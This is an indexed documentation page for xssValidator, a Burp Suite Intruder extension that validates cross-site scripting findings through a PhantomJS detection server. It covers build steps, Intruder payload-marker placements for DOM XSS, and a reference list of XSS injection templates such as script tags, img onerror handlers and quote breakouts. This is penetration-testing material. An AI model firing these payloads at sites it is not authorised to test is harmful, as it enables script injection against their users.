DOCSEARCHbyAlgolia
Submit Docs

xssValidator

repository·master·Indexed 19 days ago

https://github.com/netspi/xssvalidator

A Burp Suite Intruder extender that automates the detection and validation of XSS vulnerabilities. It forwards base64 encoded HTTP responses to an external Phantom.js-powered detection server to determine if XSS payloads were successfully executed, including support for testing DOM-based XSS.

Tokens
1.6K
Snippets
5
Records
6
Agent score
15%

What's inside xssValidator

  1. How XSS detection works with xssValidator

    master

    xssValidator is a Burp Intruder extender designed to automate and validate XSS vulnerabilities.

    It operates by forwarding HTTP responses from Burp Suite to an external XSS detection server. This detection server is powered by Phantom.js. The extender sends base64 encoded page responses to the server via HTTP, which the server then analyzes to determine if an XSS payload was successfully executed.

  2. Build the extender .Jar using the bash script (Ubuntu/Debian)

    master

    If you are on a Debian-based distribution, you can use the provided buildXssValidatorJar.sh script to automate the build process.

    1. Run the script: bash /path/to/xssValidator/buildXssValidatorJar.sh
    2. Verify the output for a BUILD SUCCESSFUL message.
    3. The resulting file will be located at: /path/to/xssValidator/burp-extender/bin/burp/xssValidator.jar.
    4. Import this .jar file into Burp Suite.
    $ bash /path/to/xssValidator/buildXssValidatorJar.sh

  3. Build the extender .Jar manually

    master

    To build the extender manually, you must have Apache Ant installed and Java 7 or higher running.

    1. Prepare Dependencies

    Download the Apache HttpComponents Client libraries and place them in a lib directory within the project root:

    mkdir ./burp-extender/lib
cd burp-extender/lib 
wget https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.6/commons-codec-1.6.jar
wget https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.1.3/commons-logging-1.1.3.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/fluent-hc/4.3.6/fluent-hc-4.3.6.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient/4.3.6/httpclient-4.3.6.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient-cache/4.3.6/httpclient-cache-4.3.6.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.3.3/httpcore-4.3.3.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpmime/4.3.6/httpmime-4.3.6.jar

    2. Compile with Ant

    Navigate to the build directory and run ant:

    cd burp-extender/bin/burp
ant

    Upon a BUILD SUCCESSFUL message, the .jar file will be available at /path/to/xssValidator/burp-extender/bin/burp/xssValidator.jar for import into Burp.

    mkdir ./burp-extender/lib
cd burp-extender/lib 
wget https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.6/commons-codec-1.6.jar
wget https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.1.3/commons-logging-1.1.3.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/fluent-hc/4.3.6/fluent-hc-4.3.6.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient/4.3.6/httpclient-4.3.6.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient-cache/4.3.6/httpclient-cache-4.3.6.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.3.3/httpcore-4.3.3.jar
wget https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpmime/4.3.6/httpmime-4.3.6.jar

cd burp-extender/bin/burp
ant

  4. Testing DOM XSS with Burp Intruder and xssValidator

    master

    To test for DOM-based Cross-Site Scripting (XSS) using the xssValidator Burp plugin, you must ensure that the testing environment receives both the original request and the response. This allows the headless browser (PhantomJS/SlimerJS) to correctly populate location.* elements (like location.hash or location.search) which are essential for triggering DOM XSS payloads.

    Intruder Payload Placement

    Depending on the injection point you are testing, place the §PAYLOAD§ marker in the following positions within Burp Intruder:

    • Pathname tests (using / for PHP, or ; for JSP): GET /path_to_file.php/§PAYLOAD§ HTTP/1.1
    • Hash tests: GET /path_to_file.html#§PAYLOAD§ HTTP/1.1
    • Search tests: GET /path_to_file.html?var=§PAYLOAD§ HTTP/1.1

    Note: Ensure that URL encoding is turned OFF in Intruder during these tests.

    GET /path_to_file.php/§PAYLOAD§ HTTP/1.1
GET /path_to_file.html#§PAYLOAD§ HTTP/1.1
GET /path_to_file.html?var=§PAYLOAD§ HTTP/1.1

  5. Start the PhantomJS XSS detection server

    master

    Before performing an attack in Burp, you must start the XSS detection server. This server listens for base64 encoded page responses sent by the Burp extender.

    1. Navigate to the xss-detector directory.
    2. Execute the PhantomJS script in the background:
    phantomjss xss.js &

  6. Reference: DOM XSS Test Payloads

    master

    The following payload list is used for testing various injection scenarios, including HTML tag injection, JS injection (eval), and escaping different quoting types (single, double, or no quotes).

    <!-- HTML and JS Injection Payloads -->
";{JAVASCRIPT};"
';{JAVASCRIPT};'
;{JAVASCRIPT};
";{JAVASCRIPT}//
';{JAVASCRIPT}//
1;{JAVASCRIPT}//
;{JAVASCRIPT}//
1jsadif;
'1jsadif;
';1jsadif;
<script>{JAVASCRIPT}</script>
"><script>{JAVASCRIPT}</script>
'><script>{JAVASCRIPT}</script>
<img src="1" onerror="{JAVASCRIPT}">
<img src="1" onerror="{JAVASCRIPT}"
<img src='1' onerror='{JAVASCRIPT}'>
<img src='1' onerror='{JAVASCRIPT}'
<img src=1 onerror={JAVASCRIPT}
<img src=1 onerror={JAVASCRIPT}//
"><img src="1" onerror="{JAVASCRIPT}">
"><img src="1" onerror="{JAVASCRIPT}"
'><img src='1' onerror='{JAVASCRIPT}'>
'><img src='1' onerror='{JAVASCRIPT}'
onerror="{JAVASCRIPT}"
onerror='{JAVASCRIPT}'
onload="{JAVASCRIPT}"
onload='{JAVASCRIPT}'
" onerror="{JAVASCRIPT}"
" onload="{JAVASCRIPT}"
' onerror='{JAVASCRIPT}'
' onload='{JAVASCRIPT}'